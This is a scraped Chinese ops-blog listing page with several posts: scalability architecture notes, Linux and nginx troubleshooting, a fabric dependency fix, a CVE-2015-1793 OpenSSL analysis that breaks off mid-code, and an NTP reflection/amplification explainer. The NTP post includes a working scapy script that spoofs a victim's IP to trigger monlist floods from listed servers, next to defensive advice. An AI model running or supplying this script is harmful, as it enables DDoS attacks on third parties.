浅谈可伸缩系统的架构

      最近,阅读了Will Larson的文章Introduction to Architecting System for Scale,感觉很有价值。作者分享了他在Yahoo!与Digg收获的设计可伸缩系统的架构经验。在我过往的架构经验中,由...
继续阅读 »
jg1.jpg

      最近,阅读了Will Larson的文章Introduction to Architecting System for Scale,感觉很有价值。作者分享了他在Yahoo!与Digg收获的设计可伸缩系统的架构经验。在我过往的架构经验中,由于主要参与开发企业软件系统,这种面向企业内部的软件系统通常不会有太大的负载量,太多的并发量,因而对于系统的可伸缩性考虑较少。大体而言,只要在系统部署上考虑集群以及负载均衡即可。本文给了我很多启发,现把本文的主要内容摘译出来,并结合自己对此的理解。

     Larson首先认为,一个理想的系统,对于容量(Capacity)的增长应该与添加的硬件数是线性的关系。换言之,如果系统只有一台服务器,在增加了另一台同样的机器后,容量应该翻倍。以此类推。这种线性的容量伸缩方式,通常被称之为水平伸缩"Horizontal Scalability"。

     在设计一个健壮的系统时,自然必须首要考虑失败的情况。Larson认为,一个理想的系统是当失去其中一台服务器的时候,系统不会崩溃。当然,对应而言,失去一台服务器也会导致容量的响应线性减少。这种情况通常被称为冗余"Redundancy"。


负载均衡


     无论是水平伸缩还是冗余,都可以通过负载均衡来实现。负载均衡就好似一个协调请求的调停者,它会根据集群中机器的当前负载,合理的分配发往Web服务器的请求,以达到有效利用集群中各台机器资源的目的。显然,这种均衡器应该介于客户端与Web服务器之间,如下图所示:
jg2.png

      本文提到了实现负载均衡的几种方法。其一是Smart Client,即将负载均衡的功能添加到数据库(以及缓存或服务)的客户端中。这是一种通过软件来实现负载均衡的方式,它的缺点是方案会比较复杂,不够健壮,也很难被重用(因为协调请求的逻辑会混杂在业务系统中)。对此,Larson在文章以排比的方式连续提出问题,以强化自己对此方案的不认可态度:
Is it attractive because it is the simplest solution? Usually, no. Is it seductive because it is the most robust? Sadly, no. Is it alluring because it’ll be easy to reuse? Tragically, no.
      第二种方式是采用硬件负载均衡器,例如Citrix NetScaler。不过,购买硬件的费用不菲,通常是一些大型公司才会考虑此方案。

     如果既不愿意承受Smart Client的痛苦,又不希望花费太多费用去购买硬件,那就可以采用一种混合(Hybird)的方式,称之为软件负载均衡器(Software Load Balancer)。Larson提到了HAProxy。它会运行在本地,需要负载均衡的服务都会在本地中得到均衡和协调。


缓存 


     为了减轻服务器的负载,还需要引入缓存。文章给出了常见的对缓存的分类,分别包括:预先计算结果(precalculating result,例如针对相关逻辑的前一天的访问量)、预先生成昂贵的索引(pre-generating expensive indexes,例如用户点击历史的推荐)以及在更快的后端存储频繁访问的数据的副本(例如MemcachedRedisMongodb)。


应用缓存


      提供缓存的方式可以分为应用缓存和数据库缓存。此二者各擅胜场。应用缓存通常需要将处理缓存的代码显式地集成到应用代码中。这就有点像使用代理模式来为真实对象提供缓存。首先检查缓存中是否有需要的数据,如果有,就从缓存直接返回,否则再查询数据库。至于哪些值需要放到缓存中呢?有诸多算法,例如根据最近访问的,或者根据访问频率。使用Memcached的代码如下所示:
key = "user.%s" % user_id
user_blob = memcache.get(key)
if user_blob is None:
user = mysql.query("SELECT * FROM users WHERE user_id=\"%s\"", user_id)
if user:
memcache.set(key, json.dumps(user))
return user
else:
return json.loads(user_blob)


数据库缓存


     数据库缓存对于应用代码没有污染,一些天才的DBA甚至可以在不修改任何代码的情况下,通过数据库调优来改进系统性能。例如通过配置Cassandra行缓存。


内存缓存


      为了提高性能,缓存通常是存储在内存中。常见的内存缓存包括Memcached和Redis。不过采用这种方式仍然需要合理的权衡。我们不可能一股脑儿的将所有数据都存放在内存中,虽然这会极大地改善性能,但比较起磁盘存储而言,RAM的代价更昂贵,同时还会影响系统的健壮性,因为内存中的数据没有持久化,容易丢失。正如之前提到的,我们应该将需要的数据放入缓存,通常的算法是least recently used,即LRU。


CDN


      提高性能,降低Web服务器负载的另一种常见做法是将静态媒体放入CDN(Content Distribution Network)中。如下图所示:
jg3.png

      CDN可以有效地分担Web服务器的压力,使得应用服务器可以专心致志地处理动态页面;同时,CDN还可以通过地理分布来提高响应请求的性能。在设置了CDN后,当系统接收到请求时,首先会询问CDN以获得请求中需要的静态媒体(通常会通过HTTP Header来配置CDN能够缓存的内容)。如果请求的内容不可用,CDN会查询服务器以获得该文件,并在CDN本地进行缓存,最后再提供给请求者。如果当前网站并不大,引入CDN的效果不明显时,可以考虑暂不使用CDN,在将来可以通过使用一些轻量级的HTTP服务器如Nginx,为静态媒体分出专门的子域名如static.domain.com来提供服务。


缓存失效


      引入缓存所带来的问题是如何保证真实数据与缓存数据之间的一致性。这一问题通常被称之为缓存失效(Cache Invalidation)。从高屋建瓴的角度来讲,解决这一问题的办法无非即使更新缓存中的数据。一种做法是直接将新值写入缓存中(通常被称为write-through cache);另一种做法是简单地删除缓存中的值,在等到下一次读缓存值的时候再生成。

      整体而言,要避免缓存实效,可以依赖于数据库缓存,或者为缓存数据添加有效期,又或者在实现应用程序逻辑时,尽量考虑避免此问题。例如不直接使用DELETE FROM a WHERE…来删除数据,而是先查询符合条件的数据,再使得缓存中对应的数据失效,继而根据其主键显式地删除这些行。


Off-Line处理


     这篇文章还提到了Off-Line的处理方式,即通过引入消息队列的方式来处理请求。事实上,在大多数企业软件系统中,这种方式也是较为常见的做法。在文章《案例分析:基于消息的分布式架构》中,较为详细地介绍了这种架构。在引入消息队列后,Web服务器会充当消息的发布者,而在消息队列的另一端可以根据需要提供消费者Consumer。如下图所示。对于Off-Line的任务是否执行完毕,通常可以通过轮询或回调的方式来获知。
jg4.png

      为了更好地提高代码可读性,可以在公开的接口定义中明确地标示该任务是On-Line还是Off-Line。
      引入Message Queue,可以极大地缓解Web服务器的压力,因为它可以将耗时较长的任务转到专门的机器上去执行。

     此外,通过引入定时任务,也可以有效地利用Web服务器的空闲时间来处理后台任务。例如,通过Spring Batch Job来执行每日、每周或者每月的定时任务。如果需要多台机器去执行这些定时任务,可以引入Spring提供的Puppet来管理这些服务器。Puppet提供了可读性强的声明性语言来完成对机器的配置。


Map-Reduce


     对于大数据的处理,自然可以引入Map-Reduce。为整个系统专门引入一个Map-Reduce层来处理数据是有必要的。相对于使用SQL数据库作为数据中心的方式,Map-Reduce对可伸缩性的支持更好。Map-Reduce可以与任务的定时机制结合起来。如下图所示:
jg5.png


平台层


      Larson认为,大多数系统都是Web应用直接与数据库通信,但如果能加入一个平台层(Platform Layer),或许会更好。
jg6.png

      首先,将平台与Web应用分离,使得它们可以独立地进行伸缩。例如需要添加一个新的API,就可以添加新的平台服务器,而无需增加Web服务器。要知道,在这样一个独立的物理分层架构中,不同层次对服务器的要求是不一样的。例如,对于数据库服务器而言,由于需要频繁地对磁盘进行I/O操作,因此应保证数据库服务器的IO性能,如尽量使用固态硬盘。而对于Web服务器而言,则对CPU的要求比较高,尽可能采用多核CPU。

     其次,增加一个额外的平台层,可以有效地提高系统的可重用性。例如我们可以将一些与系统共有特性以及横切关注点的内容(如对缓存的支持,对数据库的访问等功能)抽取到平台层中,作为整个系统的基础设施(Infrastructure)。尤其对于产品线系统而言,这种架构可以更好地为多产品提供服务。

     最后,这种架构也可能对跨团队开发带来好处。平台可以抽离出一些与产品无关的接口,从而隐藏其具体实现的细节。如果划分合理,并能设计出相对稳定的接口,就可以使得各个团队可以并行开发。例如可以专门成立平台团队,致力于对平台的实现以及优化。
原文地址 收起阅读 »

浅谈基于 NTP 的反射和放大攻击

0x01 一些案例       最近一段时间 DDoS 攻击事件让基于 NTP 的 DDoS 攻击变得很火热,先看看下面的信息感受下:“It was a very large DDoS targeting a CloudFlare customer,” M...
继续阅读 »


0x01 一些案例


      最近一段时间 DDoS 攻击事件让基于 NTP 的 DDoS 攻击变得很火热,先看看下面的信息感受下:
“It was a very large DDoS targeting a CloudFlare customer,” Matthew Prince, CEO of Cloudflare told SecurityWeek. “We're still gathering the log data to get exact numbers but know it was well over 300Gbps and likely over 400Gbps,” Prince said.

“The method was NTP reflection, which is quickly replacing DNS reflection as the source of the largest attacks,” Prince said.
      消息中称 CloudFlare 遭受了高达 400G 流量的 NTP 反射攻击,目前从网上各处的消息来看,众说纷纭,我们先不去考证消息的真伪,仅仅从攻击方法和流量方面来看着实体现出 NTP 反射攻击的威力。


0x02 什么是 NTP


      NTP 是网络时间协议(Network Time Protocol)的简称,干嘛用的呢?就是通过网络协议使计算机之前的时间同步化。


0x03 NTP 反射和放大攻击


     那什么是 NTP 反射和放大攻击呢?如果听过 DNS 反射和放大攻击的话应该就会对这个比较容易理解了,协议不同,效果一样。
     我们先来说说放射和放大攻击:
无论是基于 DNS 还是基于 NTP,其最终都是基于 UDP 协议的。在 UDP 协议中正常情况下客户端发送请求包到服务端,服务端返回响应包到客户端,但是 UDP 协议是面向无连接的,所以客户端发送请求包的源 IP 很容易进行伪造,当把源 IP 修改为受害者的 IP,最终服务端返回的响应包就会返回到受害者的 IP。这就形成了一次反射攻击。

放大攻击呢就是一次小的请求包最终会收到一个或者多个多于请求包许多倍的响应包,这样就达到了四两拨千斤的效果。

那我们接着来看什么是 NTP 的反射和放大攻击,NTP 包含一个 monlist 功能,也被成为 MON_GETLIST,主要用于监控 NTP 服务器,NTP 服务器响应 monlist 后就会返回与 NTP 服务器进行过时间同步的最后 600 个客户端的 IP,响应包按照每 6 个 IP 进行分割,最多有 100 个响应包。

我们可以通过 ntpdc 命令向一个 NTP 服务器发送 monlist 以及结合抓包来看下实际的效果。
pangzi@pangzi-mac ~$ ntpdc -n -c monlist x.x.x.x | wc -l

602
ntp.png

      在上面的命令行中我们可以看到一次含有 monlist 的请求收到 602 行数据,除去头两行是无效数据外,正好是 600 个客户端 IP 列表,并且从上面图中的 wireshark 中我们也看到显示有 101 个 NTP 协议的包,除去一个请求包,正好是 100 个响应包。
     从上图中我们可以看到请求包的大小为 234 字节,每个响应包为 482 字节,如果单纯按照这个数据我们可以计算出放大的倍数是:482*100/234 = 206 倍。其实如果通过编写攻击脚本,请求包会更小,这个倍数值会更大,这样算起来是不是蛮屌的。


0x04 如何利用


     我们通过 scapy 实现一个简单的攻击脚本,代码如下:
#!/usr/bin/env python
# author: pangzi.me@gmail.com
/[i] [CDATA[ [/i]/!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/[i] ]]> [/i]/

import sys
from scapy.all import *

def attack(target, ntp_server):
send(IP(dst=ntp_server, src=target)/(UDP(sport=52816)/NTP(version=2, mode=7, stratum=0, poll=3, precision=42)))

if __name__ == "__main__":
if len(sys.argv) != 3:
sys.exit(1)

target = sys.argv[1]
ntp_server_file = sys.argv[2]
for ntp_server in open(ntp_server_file, "r"):
ntp_server = ntp_server.strip()
if ntp_server != "":
attack(target, ntp_server)


0x05 如何防御


     我们可以分为两种情况进行防御
1.加固 NTP 服务
1. 把 NTP 服务器升级到 4.2.7p26
[list=1]
[*]关闭现在 NTP 服务的 monlist 功能,在ntp.conf配置文件中增加`disable monitor`选项[/*]
[*]在网络出口封禁 UDP 123 端口
2.防御 NTP 反射和放大攻击
1. 由于这种攻击的特征比较明显,所以可以通过网络层或者借助运营商实施 ACL 来防御[/*]
[*]使用防 DDoS 设备进行清洗
      不过我觉得如果流量真的够大,400G?800G?或者更大,又有谁能够防得住呢?[/*]
[/list]原文地址 收起阅读 »

系统文件系统只读(read-only file system)

linux系统提示只读文件系统,无法创建文件(read-only file system) 解决办法: 1.重启看是否可以修复(很多机器可以),原因吗,就是服务器在开机的时候会自检,可能会自动修复。 2.使用用fsck – y 来修复文件系统 3.如...
继续阅读 »
linux系统提示只读文件系统,无法创建文件(read-only file system)
解决办法:


1.重启看是否可以修复(很多机器可以),原因吗,就是服务器在开机的时候会自检,可能会自动修复。



2.使用用fsck – y 来修复文件系统



3.如果,在进行修复的时候有的分区会报错,重新启动系统问题仍然存在,查看下分区结构:


[root@localhost client]# more /etc/fstab

[root@localhost ~]# more /proc/mounts

[root@localhost ~]# mount
/dev/sda3 on / type ext3 (rw)
proc on /proc type proc (rw)
sysfs on /sys type sysfs (rw)
devpts on /dev/pts type devpts (rw,gid=5,mode=620)
/dev/sda1 on /boot type ext3 (ro)
tmpfs on /dev/shm type tmpfs (rw)
none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw)
sunrpc on /var/lib/nfs/rpc_pipefs type rpc_pipefs (rw)
查看ro挂载的分区,如果发现有ro,就重新mount
[root@localhost ~]# umount /dev/sda1
[root@localhost ~]# mount /dev/sda1 /boot
如果发现有提示“device is busy”,找到是什么进程使得他busy
[root@localhost ~]# fuser -m /boot   //将会显示使用这个模块的pid
[root@localhost ~]# fuser -mk /boot //将会直接kill那个pid
然后重新mount即可


4.直接remount,命令为


[root@localhost ~]# mount -o rw,remount /boot

收起阅读 »

nginx 504 Gateway Time-out

504 Gateway Time-out"译为:网关超时!       php-fpm的默认静态处理方式会使得php-cgi的进程长期占用内存而无法释放,这也是导致nginx出错的原因之一,因此可以将php-fpm的处理方式改成apache模式。apach...
继续阅读 »


504 Gateway Time-out"译为:网关超时!


      php-fpm的默认静态处理方式会使得php-cgi的进程长期占用内存而无法释放,这也是导致nginx出错的原因之一,因此可以将php-fpm的处理方式改成apache模式。
apache-like
      nginx的几个配置项,减少FastCGI的请求次数,尽量维持buffers不变:
fastcgi_buffers由 464k 改为 2256k; 
fastcgi_buffer_size 由 64k 改为 128K;
fastcgi_busy_buffers_size 由 128K 改为 256K;
fastcgi_temp_file_write_size 由 128K 改为 256K。

收起阅读 »

fabric执行命令出错

安装: # pip install fabricfabric安装上了,但是在执行命令的时候出错: Traceback (most recent call last): File "bb.py", line 2, in from fabric.ap...
继续阅读 »
安装:
# pip install fabric
fabric安装上了,但是在执行命令的时候出错:
Traceback (most recent call last):
File "bb.py", line 2, in
from fabric.api import *
File "/usr/lib64/python2.6/site-packages/fabric/api.py", line 9, in
from fabric.context_managers import (cd, hide, settings, show, path, prefix,
File "/usr/lib64/python2.6/site-packages/fabric/context_managers.py", line 41, in
from fabric.state import output, win32, connections, env
File "/usr/lib64/python2.6/site-packages/fabric/state.py", line 9, in
from fabric.network import HostConnectionCache, ssh
File "/usr/lib64/python2.6/site-packages/fabric/network.py", line 24, in
import paramiko as ssh
File "/usr/lib/python2.6/site-packages/paramiko/__init__.py", line 30, in
from paramiko.transport import SecurityOptions, Transport
File "/usr/lib/python2.6/site-packages/paramiko/transport.py", line 49, in
from paramiko.dsskey import DSSKey
File "/usr/lib/python2.6/site-packages/paramiko/dsskey.py", line 26, in
from Crypto.PublicKey import DSA
File "/usr/lib64/python2.6/site-packages/Crypto/PublicKey/DSA.py", line 88, in
from Crypto.PublicKey import _DSA, _slowmath, pubkey
File "/usr/lib64/python2.6/site-packages/Crypto/PublicKey/_DSA.py", line 30, in
from Crypto.PublicKey.pubkey import *
File "/usr/lib64/python2.6/site-packages/Crypto/PublicKey/pubkey.py", line 30, in
from Crypto.Util.number import *
File "/usr/lib64/python2.6/site-packages/Crypto/Util/number.py", line 56, in
if _fastmath is not None and not _fastmath.HAVE_DECL_MPZ_POWM_SEC:
AttributeError: 'module' object has no attribute 'HAVE_DECL_MPZ_POWM_SEC'
利用google搜索了一下,原因是缺少PyCrypto模块的错误:https://www.dlitz.net/software/pycrypto/ 
安装:
# wget http://ftp.dlitz.net/pub/dlitz/crypto/pycrypto/pycrypto-2.6.tar.gz
# tar -zxvf pycrypto-2.6.tar.gz
# cd pycrypto-2.6/
# python setup.py build && python setup.py install
如果安装了还是不行,你可以做如下操作:
# vim /usr/lib64/python2.6/site-packages/Crypto/Util/number.py
注释
#if _fastmath is not None and not _fastmath.HAVE_DECL_MPZ_POWM_SEC:

一般number.py 在你python版本库site-packages目录下
收起阅读 »

Nginx的proxy_pass配置转发路径问题

Nginx配置proxy_pass转发的/路径问题:       在nginx中配置proxy_pass时,如果是按照^~匹配路径时,要注意proxy_pass后的url最后的/,当加上了/,相当于是绝对根路径,则nginx不会把location...
继续阅读 »
nginxs.png

Nginx配置proxy_pass转发的/路径问题:
      在nginx中配置proxy_pass时,如果是按照^~匹配路径时,要注意proxy_pass后的url最后的/,当加上了/,相当于是绝对根路径,则nginx不会把location中匹配的路径部分代理走;如果没有/,则会把匹配的路径部分也给代理走。
location ^~ /proxy_api/ 
{
proxy_cache api_cache;
proxy_set_header Host api.afewbug.com;
proxy_pass http://api.afewbug.com/;
}
      如上面的配置,如果请求的url是http://your_domain/proxy_api/load.php  会被代理成http://api.afewbug.com/load.php
      如果如下配置:
location ^~ /proxy_api/ 
{
proxy_cache api_cache;
proxy_set_header Host api.afewbug.com;
proxy_pass http://api.afewbug.com;
}
     则会被代理到http://api.afewbug.com/proxy_api/load.php
 
     当然,我们可以用如下的rewrite来实现/的功能:
location ^~ /proxy_api/ 
{
proxy_cache api_cache;
proxy_set_header Host api.afewbug.com;
rewrite /proxy_api/(.+)$ /$1 break;
proxy_pass http://api.afewbug.com;
}

收起阅读 »

ajax&js点击按钮出现提交框

直接贴代码了:ajax $(function(){ $('#bbtn').click(function(){ $.ajax({ type:'post', url:'#', data:{}, success:fun...
继续阅读 »
直接贴代码了:
ajax
$(function(){
$('#bbtn').click(function(){
$.ajax({
type:'post',
url:'#',
data:{},
success:function(callback){
$('#part4').empty();
var ele = "
"
ele = ele + "";
ele = ele + "
";
$('#part4').append(ele);
}
})

})
})

js

sub
收起阅读 »

运维小issue

做运维那么久了,遇到的问题千奇百怪,现决定把大大小小的问题和解决方案做一个汇总。 一是为了提倡分享精神,二是为了自己记录备忘。 问题1:Centos5.5服务器上想挂载一块windows的移动硬盘 错误:# mount –t ntfs /dev/sdb1 ...
继续阅读 »
做运维那么久了,遇到的问题千奇百怪,现决定把大大小小的问题和解决方案做一个汇总。
一是为了提倡分享精神,二是为了自己记录备忘。


问题1:Centos5.5服务器上想挂载一块windows的移动硬盘


错误:
# mount –t ntfs /dev/sdb1 /mnt/
mount: unknown filesystem type ‘ntfs’
解决:
通过ntfs-3g来解决  
打开ntfs-3g的下载点http://www.tuxera.com/community/ntfs-3g-download/ 下载最新的版本;
#下载 :wget http://tuxera.com/opensource/ntfs-3g_ntfsprogs-2012.1.15.tgz

解压,安装:tar ntfs-3g_ntfsprogs-2012.1.15.tgz && cd ntfs-3g_ntfsprogs-2012.1.15 && ./configure && make && make install

#查看移动硬盘的属性: fdisk -l
#挂载:mount -t ntfs-3g /dev/sdb1 /mnt/


问题2:如何查看apache加载的模块


  #通过帮助得知(/usr/local/apache/bin/apachectl  -h) 

/usr/local/apache/binapachectl -l
-l : list compiled in modules (列出static模块)

/usr/local/apache/bin/apachectl -t -D DUMP_MODULES

-t -D DUMP_MODULES : show all loaded modules (包括共享模块)
即http.d中Load Moudles加载的模块

如下例子:
[root@sonkwo1 modules]# /usr/local/apache/bin/apachectl -D DUMP_MODULES
Loaded Modules:
core_module (static)
authn_file_module (static)
authn_default_module (static)
authz_host_module (static)
authz_groupfile_module (static)
authz_user_module (static)
authz_default_module (static)
auth_basic_module (static)
include_module (static)
filter_module (static)
log_config_module (static)
env_module (static)
setenvif_module (static)
mpm_prefork_module (static)
http_module (static)
mime_module (static)
status_module (static)
autoindex_module (static)
asis_module (static)
cgi_module (static)
negotiation_module (static)
dir_module (static)
actions_module (static)
userdir_module (static)
alias_module (static)
rewrite_module (static)
so_module (static)
php5_module (shared)
rpaf_module (shared)


问题3:启动apache的时候报:httpd: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName


虽然不妨碍使用,但是本着刨根问底的精神,经过查找发现,这个问题应该是没有在 /$apache/httpd.conf 
中设定 ServerName。所以apache会用主机上的名称来取代,首先会去找 /etc/hosts 中有没有主机的定义。

所以要解决这个问题可以设定httpd.conf文件中的 ServerName,如下:
ServerName localhost:80


问题4:Directory index forbidden by Options directive


apache报错:Directory index forbidden by Options directive: /var/www/
在 Apache 中要列出目录内容需要 mod_autoindex 模块的支持。  

配置文件的设置方法:

打开列目录功能:

Options +Indexes

关闭列目录功能:

Options -Indexes


 在使用如 RHEL 或 CentOS 发行版自带 Apache 的朋友可能会碰到这样的问题,无法列出网站根目录下面的内容。其实问题原因很简单,因为 Apache 除了会读取 /etc/httpd/conf/httpd.conf 配置文件外,还会读取 /etc/httpd/conf.d/ 下以 .conf 结尾的文件。
 在 /etc/httpd/conf.d/ 下有一个名为 welcome.conf 的文件,这文件的内容如下:
#
# This configuration file enables the default "Welcome"
# page if there is no default index page present for
# the root URL. To disable the Welcome page, comment
# out all the lines below.
#

Options -Indexes
ErrorDocument 403 /error/noindex.html

  我们可以看到文件中去掉了目录的Indexes属性,这导致无法列出根目录的内容。可以通过更改这个文件的后缀名或者注释掉选项并重新加载配置文件解决该问题。
另外如果还有人建议需要一起删除下面的文件,这个就要看你是否设置DirectoryIndex了。
rm -f /var/www/error/noindex.html  ← 删除测试页


问题5:error while loading shared libraries: xxx.so.x"错误的原因和解决办法


一般我们在Linux下执行某些外部程序的时候可能会提示找不到共享库的错误, 比如:  


tmux: error while loading shared libraries: libevent-1.4.so.2: cannot open shared object file: No such file or directory


原因一般有两个, 一个是操作系统里确实没有包含该共享库(lib[i].so.[/i]文件)或者共享库版本不对, 遇到这种情况那就去网上下载并安装上即可.

另外一个原因就是已经安装了该共享库, 但执行需要调用该共享库的程序的时候, 程序按照默认共享库路径找不到该共享库文件.

所以安装共享库后要注意共享库路径设置问题, 如下:

1) 如果共享库文件安装到了/lib或/usr/lib目录下, 那么需执行一下ldconfig命令

ldconfig命令的用途, 主要是在默认搜寻目录(/lib和/usr/lib)以及动态库配置文件/etc/ld.so.conf内所列的目录下, 搜索出可共享的动态链接库(格式如lib[i].so[/i]), 进而创建出动态装入程序(ld.so)所需的连接和缓存文件. 缓存文件默认为/etc/ld.so.cache, 此文件保存已排好序的动态链接库名字列表.

2) 如果共享库文件安装到了/usr/local/lib(很多开源的共享库都会安装到该目录下)或其它"非/lib或/usr/lib"目录下, 那么在执行ldconfig命令前, 还要把新共享库目录加入到共享库配置文件/etc/ld.so.conf中, 如下:

# cat /etc/ld.so.conf
include ld.so.conf.d/*.conf
# echo "/usr/local/lib" >> /etc/ld.so.conf
# ldconfig

3) 如果共享库文件安装到了其它"非/lib或/usr/lib" 目录下, 但是又不想在/etc/ld.so.conf中加路径(或者是没有权限加路径). 那可以export一个全局变量LD_LIBRARY_PATH, 然后运行程序的时候就会去这个目录中找共享库.

LD_LIBRARY_PATH的意思是告诉loader在哪些目录中可以找到共享库. 可以设置多个搜索目录, 这些目录之间用冒号分隔开. 比如安装了一个mysql到/usr/local/mysql目录下, 其中有一大堆库文件在/usr/local/mysql/lib下面, 则可以在.bashrc或.bash_profile或shell里加入以下语句即可:

export LD_LIBRARY_PATH=/usr/local/mysql/lib:$LD_LIBRARY_PATH

一般来讲这只是一种临时的解决方案, 在没有权限或临时需要的时候使用.

4)如果程序需要的库文件比系统目前存在的村文件版本低,可以做一个链接
比如:
error while loading shared libraries: libncurses.so.4: cannot open shared
object file: No such file or directory

ls /usr/lib/libncu*
/usr/lib/libncurses.a /usr/lib/libncurses.so.5
/usr/lib/libncurses.so /usr/lib/libncurses.so.5.3

可见虽然没有libncurses.so.4,但有libncurses.so.5,是可以向下兼容的
建一个链接就好了
ln -s /usr/lib/libncurses.so.5.3 /usr/lib/libncurses.so.4


问题6:使用scp命令出现   "-bash: scp: command not found" 解决办法


# yum -y install openssh-clients


问题7:编译PHP 出现 undefined reference to 'libiconv' 解决办法


但凡出现类似错误,都说明找不到链接库,我们可以尝试手动在系统中查找
然后在编译的时候指定相关目录即可

#find / -name iconv.h
#/usr/local/include/iconv.h

则编译的时候增加目录,让程序能识别出链接库的位置
--with-iconv=/usr/local/include/
原文地址 收起阅读 »

OpenSSL-CVE-2015-1793漏洞分析

引言 OpenSSL官方在7月9日发布了编号为 CVE-2015-1793 的交叉证书验证绕过漏洞,其中主要影响了OpenSSL的1.0.1和1.0.2分支。1.0.0和0.9.8分支不受影响。 360安全研究员au2o3t对该漏洞进行了原理上的分析,确...
继续阅读 »


引言


OpenSSL官方在7月9日发布了编号为 CVE-2015-1793 的交叉证书验证绕过漏洞,其中主要影响了OpenSSL的1.0.1和1.0.2分支。1.0.0和0.9.8分支不受影响。

360安全研究员au2o3t对该漏洞进行了原理上的分析,确认是一个绕过交叉链类型证书验证的高危漏洞,可以让攻击者构造证书来绕过交叉验证,用来形成诸如“中间人”等形式的攻击。


1.漏洞基本原理


直接看最简单的利用方法(利用方法包括但不限于此):

攻击者从一公共可信的 CA (C)处签得一证书 X,并以此证书签发另一证书 V(含对X的交叉引用),那么攻击者发出的证书链 V, R (R为任意证书)对信任 C 的用户将是可信的。

显然用户对 V, R 链的验证会返回失败。

对不支持交叉链认证的老版本来说,验证过程将以失败结束。

对支持交叉认证的版本,则将会尝试构建交叉链 V, X, C,并继续进行验证。

虽然 V, X, C 链能通过可信认证,但会因 X 的用法不包括 CA 而导致验证失败。

但在 openssl-1.0.2c 版本,因在对交叉链的处理中,对最后一个不可信证书位置计数的错误,导致本应对 V, X 记为不可信并验证,错记为了仅对 V 做验证,而没有验证攻击者的证书 X,返回验证成功。


2.具体漏洞分析


漏洞代码位于文件:openssl-1.0.2c/crypto/x509/x509_vfy.c

函数:X509_verify_cert() 中

第 392 行:“ctx->last_untrusted–;”

对问题函数 X509_verify_cert 的简单分析:

( 为方便阅读,仅保留与证书验证强相关的代码,去掉了诸如变量定义、错误处理、资源释放等非主要代码)

问题在于由 <1> 处加入颁发者时及 <2> 处验证(颁发者)后,证书链计数增加,但 最后一个不可信证书位置计数 并未增加,

而在 <4> 处去除过程中 最后一个不可信证书位置计数 额外减少了,导致后面验证过程中少验。

(上述 V, X, C 链中应验 V, X 但少验了 X)

代码分析如下:
int X509_verify_cert(X509_STORE_CTX *ctx)
{
// 将 ctx->cert 做为不信任证书压入需验证链 ctx->chain
// STACK_OF(X509) *chain 将被构造为证书链,并最终送到 internal_verify() 中去验证
sk_X509_push(ctx->chain,ctx->cert);
// 当前链长度(==1)
num = sk_X509_num(ctx->chain);
// 取出第 num 个证书
x = sk_X509_value(ctx->chain, num - 1);
// 存在不信任链则复制之
if (ctx->untrusted != NULL
&& (sktmp = sk_X509_dup(ctx->untrusted)) == NULL) {
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
goto end;
}
// 预设定的最大链深度(100)
depth = param->depth;
// 构造需验证证书链
for (;;) {
// 超长退出
if (depth < num)
break;
// 遇自签退出(链顶)
if (cert_self_signed(x))
break;
if (ctx->untrusted != NULL) {
xtmp = find_issuer(ctx, sktmp, x);
// 当前证书为不信任颁发者(应需CA标志)颁发
if (xtmp != NULL) {
// 则加入需验证链
if (!sk_X509_push(ctx->chain, xtmp)) {
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
goto end;
}
CRYPTO_add(&xtmp->references, 1, CRYPTO_LOCK_X509);
(void)sk_X509_delete_ptr(sktmp, xtmp);
// 最后一个不可信证书位置计数 自增1
ctx->last_untrusted++;
x = xtmp;
num++;
continue;
}
}
break;
}
do {
i = sk_X509_num(ctx->chain);
x = sk_X509_value(ctx->chain, i - 1);
// 若最顶证书是自签的
if (cert_self_signed(x)) {
// 若需验证链长度 == 1
if (sk_X509_num(ctx->chain) == 1) {
// 在可信链中查找其颁发者(找自己)
ok = ctx->get_issuer(&xtmp, ctx, x);

// 没找到或不是相同证书
if ((ok <= 0) || X509_cmp(x, xtmp)) {
ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT;
ctx->current_cert = x;
ctx->error_depth = i - 1;
if (ok == 1)
X509_free(xtmp);
bad_chain = 1;
ok = cb(0, ctx);
if (!ok)
goto end;
// 找到
} else {
X509_free(x);
x = xtmp;
// 入到可信链
(void)sk_X509_set(ctx->chain, i - 1, x);
// 最后一个不可信证书位置计数 置0
ctx->last_untrusted = 0;
}
// 最顶为自签证书 且 证书链长度>1
} else {
// 弹出
chain_ss = sk_X509_pop(ctx->chain);
// 最后一个不可信证书位置计数 自减
ctx->last_untrusted--;
num--;
j--;
// 保持指向当前最顶证书
x = sk_X509_value(ctx->chain, num - 1);
}
}
// <1>
// 继续构造证书链(加入颁发者)
for (;;) {
// 自签退出
if (cert_self_signed(x))
break;
// 在可信链中查找其颁发者
ok = ctx->get_issuer(&xtmp, ctx, x);
// 出错
if (ok < 0)
return ok;
// 没找到
if (ok == 0)
break;
x = xtmp;
// 将不可信证书的颁发者(证书)加入需验证证书链
if (!sk_X509_push(ctx->chain, x)) {
X509_free(xtmp);
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
return 0;
}
num++;
}
// <2>
// 验证 for(;;) 中加入的颁发者链
i = check_trust(ctx);
if (i == X509_TRUST_REJECTED)
goto end;
retry = 0;
// <3>
// 检查交叉链
if (i != X509_TRUST_TRUSTED
&& !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST)
&& !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS)) {
while (j-- > 1) {
xtmp2 = sk_X509_value(ctx->chain, j - 1);
// 其实得到一个“看似合理”的证书就返回,这里实际上仅仅根据 CN域 查找颁发者
ok = ctx->get_issuer(&xtmp, ctx, xtmp2);
if (ok < 0)
goto end;
// 存在交叉链
if (ok > 0) {
X509_free(xtmp);

// 去除交叉链以上部分
while (num > j) {
xtmp = sk_X509_pop(ctx->chain);
X509_free(xtmp);
num--;
